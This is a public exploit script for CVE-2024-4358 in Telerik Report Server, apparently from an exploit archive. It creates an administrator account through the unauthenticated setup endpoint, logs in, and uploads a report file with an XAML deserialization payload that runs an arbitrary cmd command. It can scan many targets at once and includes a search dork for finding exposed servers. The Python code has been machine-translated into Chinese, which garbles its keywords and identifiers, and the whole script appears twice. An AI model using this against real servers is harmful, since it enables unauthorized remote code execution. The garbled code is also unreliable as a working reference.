#利用标题: CVE-2024-4358: Telerik报告服务器身份验证旁路
#fofa dork: title='telerik报告服务器'
#日期: 2024-09-22
#利用作者:非常lazytechtech
#github: https://github.com/verylazytech/cve-2024-4358
#供应商homepage: https://www.telerik.com/report-server
#软件link: https://www.telerik.com/report-server
#版本: 2024 Q1(10.0.24.305)和更早
#在: Windows Server 2019上测试
#CVE: CVE-2024-4358
导入aiohttp
导入异步
来自Alive_progress Import Alive_bar
从Colorama进口,风格
导入操作系统
导入艾菲尔
进口时间
导入随机
导入argparse
来自face_useragent intermagent useragent
导入uvloop
导入字符串
导入Zipfile
导入基础64
绿色=fore.green
洋红色=fore.magenta
青色=fore.cyan
混合=fore.red + fore.blue
红色=fore.Red
蓝色=fore.blue
黄色=前面
白色=fore。白色
reset=style.Reset_all
bold=style.bright
颜色=[绿色,青色,蓝色]
Random_Color=Random.Choice(颜色)
def Banner():
banner=f'''{bold} {rando_color}
____________ _____ __ __ _ _ ________ ______
/_ \ \ \//__ | | _ \/_ \ _ \ | || || || || || /_ | (_)
| | \ \//| _ | )| | | | | | ___ | | __ | | _ | _ \ _ \/_ \
| | _ \ v/| | _//| | _ |//| _ _ | ___________________________)| __)| (_)|
\ __ | \ /| ___ | | ______ | \ /__ | | _ |||| _____//\ _/
__ __ ______ _
\ \ \//__ _ _ _ _ _ | | __ _____ _ | _ __ | __ __ __ | ___________
\ \//_ \'__ | | | | | | | | |/` | _/| | | | | | | |/ \/__ | '_ \
\ v//| | | _ | | | | __ | (_ | |//| | | | | | | | | | | | | | __/( | | | | | | | | | | | | | | | | | | | | | | | | | | | |
\ /\ __ | \ ,| | ___ \ ,/ | \ ,| | _ | \ _ | \ _ | \ _ | | _ |
| _/| _//
{bold} {white} @verylazytech -medium {reset} \ n''''
返回横幅
打印(banner())
parser=argparse.argumentparser(description=f'[{bold} {blue} description {reset}] : {bold} {white} cve-2024-4358',usage=argparse.supparse.suppress)的漏洞检测和剥削工具
parser.add_argument(' - u',' - url',type=str,help=f'[{bald} {blue} infor {reset}] : {bold} {bold} {white} {white}指定url或ip wtih port for vtih端口
parser.add_argument(' - l',' - list',type=str,help=f'[{bald} {blue} infr {reset}] : {bold} {bold} {white}指定urls或ips列表的漏洞检测')
parser.add_argument(' - c',' - command',type=str,default='id',help=f'[{bald} {blue} infor {inset}] : {bold} {bold} {white}
parser.add_argument(' - t',' - threads',type=int,default=1,help=f'[{blod} {blue} infor {reset}] : {bold} {bold} {white} for lorls'列表的线程数
parser.add_argument(' - 代理',' - proxy',type=str,help=f'[{blb ally} {blue} inf {reset}] : {bold} {bold} {white} {white} proxy url以通过您的代理'发送请求
parser.add_argument(' - v',' - verbose',action='store_true',help=f'[{blod} {blue} infor {reset}] : {bold}
parser.add_argument(' - o',' - output',type=str,help=f'[{bald} {blue} infor {reset}] : {bold} {bold} {white} {white} {white} filename以保存脆弱的目标{reset}')
args=parser.parse_args()
异步DEF报告(结果):
TRY:
如果args.output:
如果OS.Path.Iffile(Args.Output):
文件名=args.Output
elif os.path.isdir(args.output):
filename=os.path.join(args.output,f'results.txt')
其他:
文件名=args.Output
其他:
文件名='results.txt'
与aiofiles.open(filename,'a')的异步为W:
等待W.Write(结果+'\ n')
除了键盘间断为E:
辞职()
除了Asyncio.cancellederror为E:
SystemExit
除异常外,E:
经过
异步Def Randomizer():
TRY:
strings=string.ascii_letters
返回''.join(随机。
除异常外,E:
print(随机器: {e}中的f'Exception,{type(e)}')
异步DEF漏洞利用(有效载荷,URL,Authtoken,Session,用户,PSW):
TRY:
RandomReport=等待Randomizer()
标题={'授权': f'bearer {authtoken}'}
body1={'reportname':randomReport,
'cattoryName':'Samples',
'Descriptor':NONE,
'ReportContent':付款,
'Extension':'.trdp'
}
代理=args.proxy如果args.proxy其他
async with session.post(f'{url}/api/deventerver/report',ssl=false,timeout=30,proxy=proxy=proxy,json=body1,headers=headers)作为响应1:
如果响应1.status!=200:
print(f'[{bold} {green} vulnerale {reset}] : {bold} {white}报告for: {url} \ n登录crendentials: usename3: usename:避难所RCE:失败{reset}')
等待报告(f'Report for: {url} \ n Login crendentials: USENAME: {user} | password: {psw} | authentication token:
返回
async with session.post(f'{url}/api/reports/clients',json={'timestamp':none},ssl=false,timeout=30)作为响应23:
如果响应。2.status==200:
响应2=等待响应2.json()
id=响应2 ['clientId']
其他:
print(f'[{bold} {green} vulnerale {reset}] : {bold} {white} {white}报告for: {url} \ n登录crendentials: usename3: usename: Create: {RandomReport} \ n deserialization RCE:失败{reset}')
等待报告(f'Report for: {url} \ n Login crendentials: USENAME: {user} | password: {psw} | authentication token: token: Failed\n----------------------------------')
返回
body2={'report':f'name/samples/{RandomReport}/',
'parametervalues': {}
}
async with session.post(f'{url}/api/reports/closit/{id}/parameters',json=body2,proxy=proxy=proxy,ssl=false,timeout=30)作为finalResponse3333660
print(f'[{bold} {green} vulnerale {reset}] : {bold} {white} {white}报告for: {url} \ n登录crendentials: usename3: usename:创建: {RandomReport} \ n deserialization RCE:成功{reset}')
等待报告(f'Report for: {url} \ n Login crendential: USENAME: {user} | password: {psw} | authentication token: token: {authtoken} \ n Report成功\ n -----------------------------------------------------')
除了KeyError为E:
经过
除了AioHttp.ClientConnectionError为E:
如果args.verbose:
print(f'[{bold} {allow} wrn {reset}] : {bold} {white} {url} {reset}')超时到达
除了Timeouterror为E:
如果args.verbose:
print(f'[{bold} {allow} wrn {reset}] : {bold} {white} {url} {reset}')超时到达
除了键盘间断为E:
SystemExit
除了AioHttp.Client_exceptions.ContentTypeError为E:
经过
除了Asyncio.cancellederror为E:
SystemExit
除了Aiohttp.invalidurl为E:
经过
除异常外,E:
print(在authexploit: {e},{type(e)}')上打印(f'Exception
异步def创建(URL,用户,PSW,会话):
TRY:
base_url=f'{url}/startup/register'
body={'username':用户,
'password': PSW,
'versionpassword': PSW,
'email': f'{user}@{user} .org',
'firstName':用户,
'LastName':用户}
标题={
'用户代理: useragent()。随机,
'content-type':'应用程序/x-www-form-urlencoded',
}
with session。
如果响应。Status==200:
返回“成功”
返回“失败”
除了KeyError为E:
经过
除了AioHttp.ClientConnectionError为E:
如果args.verbose:
print(f'[{bold} {allow} wrn {reset}] : {bold} {white} {url} {reset}')超时到达
除了Timeouterror为E:
如果args.verbose:
print(f'[{bold} {allow} wrn {reset}] : {bold} {white} {url} {reset}')超时到达
除了键盘间断为E:
SystemExit
除了Asyncio.cancellederror为E:
SystemExit
除了Aiohttp.invalidurl为E:
经过
除了AioHttp.Client_exceptions.ContentTypeError为E:
经过
除异常外,E:
print(在authexploitCreate: {e},{type(e)}')上进行打印(f'Exception
异步DEF登录(URL,用户,PSW,会话):
TRY:
base_url=f'{url}/token'
body={'grant_type':'密码','username':user,'password': psw}
标题={
'用户代理: useragent()。随机,
'content-type':'应用程序/x-www-form-urlencoded',
}
with session.post(base_url,data=body,headers=headers,ssl=false,超时=30)as sync as session.3:
如果响应。Status==200:
响应=等待响应.json()
返回响应['access_token']
除了KeyError为E:
经过
除了AioHttp.ClientConnectionError为E:
如果args.verbose:
print(f'[{bold} {allow} wrn {reset}] : {bold} {white} {url} {reset}')超时到达
除了Timeouterror为E:
如果args.verbose:
print(f'[{bold} {allow} wrn {reset}] : {bold} {white} {url} {reset}')超时到达
除了键盘间断为E:
SystemExit
除了Asyncio.cancellederror为E:
SystemExit
除了Aiohttp.invalidurl为E:
经过
除了AioHttp.Client_exceptions.ContentTypeError为E:
经过
除异常外,E:
print(在authexploitlogin: {e},{type(e)}')上进行打印
异步DEF StreamWriter():
TRY:
用zipfile.zipfile('paryloads.trdp','w')作为zipf:
zipf.writest('[content_types] .xml','?xml版本='1.0'编码='utf-8'?
zipf.writest('definity.xml',f''Report width='6.5in'name='oooo'
XMLNS='http://schemas.telerik.com/REPORTING/2023/1.0'
项目
资源重大
xmlns='Clr-namespace:System.Windows; Assembly
resentationFramework,版本=4.0.0.0,Culture=中性,publicKeyToken=31BF3856AD364E35'
XMLNS:SYSYSTEM='CLR-NAMESPACE:SYSYSTEM; ASSEMBLY:MSCORLIB'
xmlns:diag='Clr-namespace:System.diarostics; gasembly:System,版本=4.0.0.0,culture=中性,public keyprykeytoken=b77a5c561934e089''
XMLNS:ODP='Clr-namespace:System.Windows.Data; Assembly
resentationFramework,版本=4.0.0.0,Culture=中性,
publicKeyToken=31BF3856AD364E35'
ODP:ObjectDataProvider MethodName='start'
ObjectInstance
DIAG:程序
StartInfo
diag
rocessstartinfo fileName='cmd'granmuments='/c {args.command}'/diag
rocessstartinfo
/startInfo
/diag:程序
/objectInstance
/ODP:ObjectDataProvider
/ResourceDictionary
/项目''')
除异常外,E:
print(在streamwriter: {e},{type(e)}')的print(f'Exception :
ASYNC DEF StreamReader(文件):
TRY:
与aiofiles.open(file,'rb')的异步为file:
内容=等待文件。Read()
BS64Encrypted=base64.b64encode(内容).decode('utf-8')
返回BS64CENCRYPTED
除异常外,E:
print(f'Exception in StreamReder: {e},{type(e)}')
异步def核(URL,SEM,bar):
TRY:
用户=等待Randomizer()
密码=等待Randomizer()
与aiohttp.clientsession()为:的异步
状态=等待创建(URL,用户,密码,会话)
如果状态=='Success':
等待asyncio.sleep(0.001)
authjwt=等待登录(URL,用户,密码,会话)
如果AUTHJWT:
有效载荷=等待streamReader('paryloads.trdp')
等待利用(有效载荷,URL,Authjwt,会话,用户,密码)
等待asyncio.sleep(0.002)
除异常外,E:
print(在core: {e},{type(e)}')的print(f'Exception
最后:
酒吧()
sem.Release()
异步DEF加载器(URL,会话,SEM,bar):
TRY:
任务=[]
对于URL中的URL :中的URL
等待sem.Acquire()
任务=asyncio.ensure_future(core(url,sem,bar))
tasks.append(任务)
等待asyncio.gather(*任务,return_exceptions=true)
除了键盘间断为E:
SystemExit
除了Asyncio.cancellederror为E:
SystemExit
除异常外,E:
print(loader: {e}中的f'exception,{type(e)}')
异步DEF线程(URL):
TRY:
urls=list(set(urls))
sem=asyncio.boundedsemaphore(args.threads)
customloops=uvloop.new_event_loop()
asyncio.set_event_loop(loop=customloops)
loops=asyncio.get_event_loop()
与aiohttp.clientsession(loop=loop)的异步为Session:
使用Alive_bar(title=f'Exploiter',total=len(urls),enrich_print=false)作为bar:
loops.run_until_complete(等待加载器(URLS,Session,SEM,bar))
除了Runtimeerr,为E:
经过
除了键盘间断为E:
SystemExit
除异常外,E:
print(f'exception in threads: {e},{type(e)}')
异步def main():
TRY:
urls=[]
如果args.url:
如果args.url.startswith('https://')或args.url.startswith('http://'):
urls.append(args.url)
其他:
new_url=f'https://{args.url}'
urls.append(new_url)
new_http=f'http://{args.url}'
urls.append(new_http)
等待StreamWriter()
等待线程(URL)
如果args.list:
aiofiles.open(args.list,'r')as stream :
treamR:中的URL异步
url=url.strip()
如果url.startswith('https://')或url.startswith('http://'):
urls.append(url)
其他:
new_url=f'https://{url}'
urls.append(new_url)
new_http=f'http://{url}'
urls.append(new_http)
等待StreamWriter()
等待线程(URL)
除了filenotfounderror为E:
print(f'[{bold} {red} wrn {reset}] : {bold} {white} {args.list} no othe file or suke file or directory {reset}')
SystemExit
除异常外,E:
print(main: {e},{type(type(3)})中的f'exception')
如果name=='__ -Main __':
asyncio.run(main())
#fofa dork: title='telerik报告服务器'
#日期: 2024-09-22
#利用作者:非常lazytechtech
#github: https://github.com/verylazytech/cve-2024-4358
#供应商homepage: https://www.telerik.com/report-server
#软件link: https://www.telerik.com/report-server
#版本: 2024 Q1(10.0.24.305)和更早
#在: Windows Server 2019上测试
#CVE: CVE-2024-4358
导入aiohttp
导入异步
来自Alive_progress Import Alive_bar
从Colorama进口,风格
导入操作系统
导入艾菲尔
进口时间
导入随机
导入argparse
来自face_useragent intermagent useragent
导入uvloop
导入字符串
导入Zipfile
导入基础64
绿色=fore.green
洋红色=fore.magenta
青色=fore.cyan
混合=fore.red + fore.blue
红色=fore.Red
蓝色=fore.blue
黄色=前面
白色=fore。白色
reset=style.Reset_all
bold=style.bright
颜色=[绿色,青色,蓝色]
Random_Color=Random.Choice(颜色)
def Banner():
banner=f'''{bold} {rando_color}
____________ _____ __ __ _ _ ________ ______
/_ \ \ \//__ | | _ \/_ \ _ \ | || || || || || /_ | (_)
| | \ \//| _ | )| | | | | | ___ | | __ | | _ | _ \ _ \/_ \
| | _ \ v/| | _//| | _ |//| _ _ | ___________________________)| __)| (_)|
\ __ | \ /| ___ | | ______ | \ /__ | | _ |||| _____//\ _/
__ __ ______ _
\ \ \//__ _ _ _ _ _ | | __ _____ _ | _ __ | __ __ __ | ___________
\ \//_ \'__ | | | | | | | | |/` | _/| | | | | | | |/ \/__ | '_ \
\ v//| | | _ | | | | __ | (_ | |//| | | | | | | | | | | | | | __/( | | | | | | | | | | | | | | | | | | | | | | | | | | | |
\ /\ __ | \ ,| | ___ \ ,/ | \ ,| | _ | \ _ | \ _ | \ _ | | _ |
| _/| _//
{bold} {white} @verylazytech -medium {reset} \ n''''
返回横幅
打印(banner())
parser=argparse.argumentparser(description=f'[{bold} {blue} description {reset}] : {bold} {white} cve-2024-4358',usage=argparse.supparse.suppress)的漏洞检测和剥削工具
parser.add_argument(' - u',' - url',type=str,help=f'[{bald} {blue} infor {reset}] : {bold} {bold} {white} {white}指定url或ip wtih port for vtih端口
parser.add_argument(' - l',' - list',type=str,help=f'[{bald} {blue} infr {reset}] : {bold} {bold} {white}指定urls或ips列表的漏洞检测')
parser.add_argument(' - c',' - command',type=str,default='id',help=f'[{bald} {blue} infor {inset}] : {bold} {bold} {white}
parser.add_argument(' - t',' - threads',type=int,default=1,help=f'[{blod} {blue} infor {reset}] : {bold} {bold} {white} for lorls'列表的线程数
parser.add_argument(' - 代理',' - proxy',type=str,help=f'[{blb ally} {blue} inf {reset}] : {bold} {bold} {white} {white} proxy url以通过您的代理'发送请求
parser.add_argument(' - v',' - verbose',action='store_true',help=f'[{blod} {blue} infor {reset}] : {bold}
parser.add_argument(' - o',' - output',type=str,help=f'[{bald} {blue} infor {reset}] : {bold} {bold} {white} {white} {white} filename以保存脆弱的目标{reset}')
args=parser.parse_args()
异步DEF报告(结果):
TRY:
如果args.output:
如果OS.Path.Iffile(Args.Output):
文件名=args.Output
elif os.path.isdir(args.output):
filename=os.path.join(args.output,f'results.txt')
其他:
文件名=args.Output
其他:
文件名='results.txt'
与aiofiles.open(filename,'a')的异步为W:
等待W.Write(结果+'\ n')
除了键盘间断为E:
辞职()
除了Asyncio.cancellederror为E:
SystemExit
除异常外,E:
经过
异步Def Randomizer():
TRY:
strings=string.ascii_letters
返回''.join(随机。
除异常外,E:
print(随机器: {e}中的f'Exception,{type(e)}')
异步DEF漏洞利用(有效载荷,URL,Authtoken,Session,用户,PSW):
TRY:
RandomReport=等待Randomizer()
标题={'授权': f'bearer {authtoken}'}
body1={'reportname':randomReport,
'cattoryName':'Samples',
'Descriptor':NONE,
'ReportContent':付款,
'Extension':'.trdp'
}
代理=args.proxy如果args.proxy其他
async with session.post(f'{url}/api/deventerver/report',ssl=false,timeout=30,proxy=proxy=proxy,json=body1,headers=headers)作为响应1:
如果响应1.status!=200:
print(f'[{bold} {green} vulnerale {reset}] : {bold} {white}报告for: {url} \ n登录crendentials: usename3: usename:避难所RCE:失败{reset}')
等待报告(f'Report for: {url} \ n Login crendentials: USENAME: {user} | password: {psw} | authentication token:
返回
async with session.post(f'{url}/api/reports/clients',json={'timestamp':none},ssl=false,timeout=30)作为响应23:
如果响应。2.status==200:
响应2=等待响应2.json()
id=响应2 ['clientId']
其他:
print(f'[{bold} {green} vulnerale {reset}] : {bold} {white} {white}报告for: {url} \ n登录crendentials: usename3: usename: Create: {RandomReport} \ n deserialization RCE:失败{reset}')
等待报告(f'Report for: {url} \ n Login crendentials: USENAME: {user} | password: {psw} | authentication token: token: Failed\n----------------------------------')
返回
body2={'report':f'name/samples/{RandomReport}/',
'parametervalues': {}
}
async with session.post(f'{url}/api/reports/closit/{id}/parameters',json=body2,proxy=proxy=proxy,ssl=false,timeout=30)作为finalResponse3333660
print(f'[{bold} {green} vulnerale {reset}] : {bold} {white} {white}报告for: {url} \ n登录crendentials: usename3: usename:创建: {RandomReport} \ n deserialization RCE:成功{reset}')
等待报告(f'Report for: {url} \ n Login crendential: USENAME: {user} | password: {psw} | authentication token: token: {authtoken} \ n Report成功\ n -----------------------------------------------------')
除了KeyError为E:
经过
除了AioHttp.ClientConnectionError为E:
如果args.verbose:
print(f'[{bold} {allow} wrn {reset}] : {bold} {white} {url} {reset}')超时到达
除了Timeouterror为E:
如果args.verbose:
print(f'[{bold} {allow} wrn {reset}] : {bold} {white} {url} {reset}')超时到达
除了键盘间断为E:
SystemExit
除了AioHttp.Client_exceptions.ContentTypeError为E:
经过
除了Asyncio.cancellederror为E:
SystemExit
除了Aiohttp.invalidurl为E:
经过
除异常外,E:
print(在authexploit: {e},{type(e)}')上打印(f'Exception
异步def创建(URL,用户,PSW,会话):
TRY:
base_url=f'{url}/startup/register'
body={'username':用户,
'password': PSW,
'versionpassword': PSW,
'email': f'{user}@{user} .org',
'firstName':用户,
'LastName':用户}
标题={
'用户代理: useragent()。随机,
'content-type':'应用程序/x-www-form-urlencoded',
}
with session。
如果响应。Status==200:
返回“成功”
返回“失败”
除了KeyError为E:
经过
除了AioHttp.ClientConnectionError为E:
如果args.verbose:
print(f'[{bold} {allow} wrn {reset}] : {bold} {white} {url} {reset}')超时到达
除了Timeouterror为E:
如果args.verbose:
print(f'[{bold} {allow} wrn {reset}] : {bold} {white} {url} {reset}')超时到达
除了键盘间断为E:
SystemExit
除了Asyncio.cancellederror为E:
SystemExit
除了Aiohttp.invalidurl为E:
经过
除了AioHttp.Client_exceptions.ContentTypeError为E:
经过
除异常外,E:
print(在authexploitCreate: {e},{type(e)}')上进行打印(f'Exception
异步DEF登录(URL,用户,PSW,会话):
TRY:
base_url=f'{url}/token'
body={'grant_type':'密码','username':user,'password': psw}
标题={
'用户代理: useragent()。随机,
'content-type':'应用程序/x-www-form-urlencoded',
}
with session.post(base_url,data=body,headers=headers,ssl=false,超时=30)as sync as session.3:
如果响应。Status==200:
响应=等待响应.json()
返回响应['access_token']
除了KeyError为E:
经过
除了AioHttp.ClientConnectionError为E:
如果args.verbose:
print(f'[{bold} {allow} wrn {reset}] : {bold} {white} {url} {reset}')超时到达
除了Timeouterror为E:
如果args.verbose:
print(f'[{bold} {allow} wrn {reset}] : {bold} {white} {url} {reset}')超时到达
除了键盘间断为E:
SystemExit
除了Asyncio.cancellederror为E:
SystemExit
除了Aiohttp.invalidurl为E:
经过
除了AioHttp.Client_exceptions.ContentTypeError为E:
经过
除异常外,E:
print(在authexploitlogin: {e},{type(e)}')上进行打印
异步DEF StreamWriter():
TRY:
用zipfile.zipfile('paryloads.trdp','w')作为zipf:
zipf.writest('[content_types] .xml','?xml版本='1.0'编码='utf-8'?
zipf.writest('definity.xml',f''Report width='6.5in'name='oooo'
XMLNS='http://schemas.telerik.com/REPORTING/2023/1.0'
项目
资源重大
xmlns='Clr-namespace:System.Windows; Assembly

XMLNS:SYSYSTEM='CLR-NAMESPACE:SYSYSTEM; ASSEMBLY:MSCORLIB'
xmlns:diag='Clr-namespace:System.diarostics; gasembly:System,版本=4.0.0.0,culture=中性,public keyprykeytoken=b77a5c561934e089''
XMLNS:ODP='Clr-namespace:System.Windows.Data; Assembly

publicKeyToken=31BF3856AD364E35'
ODP:ObjectDataProvider MethodName='start'
ObjectInstance
DIAG:程序
StartInfo
diag


/startInfo
/diag:程序
/objectInstance
/ODP:ObjectDataProvider
/ResourceDictionary
/项目''')
除异常外,E:
print(在streamwriter: {e},{type(e)}')的print(f'Exception :
ASYNC DEF StreamReader(文件):
TRY:
与aiofiles.open(file,'rb')的异步为file:
内容=等待文件。Read()
BS64Encrypted=base64.b64encode(内容).decode('utf-8')
返回BS64CENCRYPTED
除异常外,E:
print(f'Exception in StreamReder: {e},{type(e)}')
异步def核(URL,SEM,bar):
TRY:
用户=等待Randomizer()
密码=等待Randomizer()
与aiohttp.clientsession()为:的异步
状态=等待创建(URL,用户,密码,会话)
如果状态=='Success':
等待asyncio.sleep(0.001)
authjwt=等待登录(URL,用户,密码,会话)
如果AUTHJWT:
有效载荷=等待streamReader('paryloads.trdp')
等待利用(有效载荷,URL,Authjwt,会话,用户,密码)
等待asyncio.sleep(0.002)
除异常外,E:
print(在core: {e},{type(e)}')的print(f'Exception
最后:
酒吧()
sem.Release()
异步DEF加载器(URL,会话,SEM,bar):
TRY:
任务=[]
对于URL中的URL :中的URL
等待sem.Acquire()
任务=asyncio.ensure_future(core(url,sem,bar))
tasks.append(任务)
等待asyncio.gather(*任务,return_exceptions=true)
除了键盘间断为E:
SystemExit
除了Asyncio.cancellederror为E:
SystemExit
除异常外,E:
print(loader: {e}中的f'exception,{type(e)}')
异步DEF线程(URL):
TRY:
urls=list(set(urls))
sem=asyncio.boundedsemaphore(args.threads)
customloops=uvloop.new_event_loop()
asyncio.set_event_loop(loop=customloops)
loops=asyncio.get_event_loop()
与aiohttp.clientsession(loop=loop)的异步为Session:
使用Alive_bar(title=f'Exploiter',total=len(urls),enrich_print=false)作为bar:
loops.run_until_complete(等待加载器(URLS,Session,SEM,bar))
除了Runtimeerr,为E:
经过
除了键盘间断为E:
SystemExit
除异常外,E:
print(f'exception in threads: {e},{type(e)}')
异步def main():
TRY:
urls=[]
如果args.url:
如果args.url.startswith('https://')或args.url.startswith('http://'):
urls.append(args.url)
其他:
new_url=f'https://{args.url}'
urls.append(new_url)
new_http=f'http://{args.url}'
urls.append(new_http)
等待StreamWriter()
等待线程(URL)
如果args.list:
aiofiles.open(args.list,'r')as stream :
treamR:中的URL异步
url=url.strip()
如果url.startswith('https://')或url.startswith('http://'):
urls.append(url)
其他:
new_url=f'https://{url}'
urls.append(new_url)
new_http=f'http://{url}'
urls.append(new_http)
等待StreamWriter()
等待线程(URL)
除了filenotfounderror为E:
print(f'[{bold} {red} wrn {reset}] : {bold} {white} {args.list} no othe file or suke file or directory {reset}')
SystemExit
除异常外,E:
print(main: {e},{type(type(3)})中的f'exception')
如果name=='__ -Main __':
asyncio.run(main())